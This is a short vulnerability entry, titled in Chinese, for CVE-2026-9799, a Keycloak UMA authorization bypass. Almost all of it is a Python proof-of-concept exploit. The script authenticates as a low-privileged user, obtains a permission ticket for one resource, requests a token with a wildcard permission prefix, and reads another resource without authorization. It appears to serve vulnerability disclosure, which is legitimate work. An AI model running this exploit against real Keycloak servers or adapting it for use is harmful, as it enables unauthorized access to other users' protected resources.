CVE-2026-9799 Keycloak授权模块UMA权限绕过漏洞

# CVE-2026-9799 - Keycloak UMA Permission Bypass PoC # This PoC demonstrates how an authenticated user with a UMA permission ticket # for one resource can bypass per-resource access control to access all # resources of the same type within the resource server. import requests import json # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "resource-server-client" RESOURCE_SERVER_ID = "my-resource-server" # Step 1: Authenticate as a low-privileged user def authenticate(username, password): token_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" payload = { "grant_type": "password", "client_id": CLIENT_ID, "username": username, "password": password } response = requests.post(token_url, data=payload) return response.json().get("access_token") # Step 2: Obtain a UMA permission ticket for a specific resource (legitimate) def get_permission_ticket(access_token, resource_id): ticket_url = f"{KEYCLOAK_URL}/realms/{REALM}/authz/protection/resource_set/{resource_id}/permission" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } payload = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "permission": resource_id } response = requests.post(ticket_url, headers=headers, json=payload) return response.json() # Step 3: Exploit - Use specific permission request prefix to bypass ACL # The key is using a prefix that matches the resource type pattern def exploit_permission_bypass(access_token, ticket, resource_type_prefix): token_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" payload = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "ticket": ticket, # Exploit: using a prefix that matches all resources of the same type "permission": f"{resource_type_prefix}/*", "audience": CLIENT_ID } response = requests.post(token_url, data=payload) if response.status_code == 200: return response.json() # Contains RPT with access to ALL matching resources return None # Step 4: Access unauthorized resources with the obtained RPT def access_resource(rpt, resource_id): resource_url = f"{KEYCLOAK_URL}/realms/{REALM}/authz/protection/resource_set/{resource_id}" headers = { "Authorization": f"Bearer {rpt}" } response = requests.get(resource_url, headers=headers) return response.json() # Main exploit flow if __name__ == "__main__": # Authenticate token = authenticate("low_priv_user", "password123") # Get legitimate ticket for resource A ticket = get_permission_ticket(token, "resource-A-id") # Exploit: bypass to get access to ALL resources of type "document" rpt = exploit_permission_bypass(token, ticket, "document") if rpt: # Access unauthorized resource B (no ticket held for this) unauthorized_data = access_resource(rpt["access_token"], "resource-B-id") print(f"[+] Unauthorized access successful: {unauthorized_data}") else: print("[-] Exploit failed")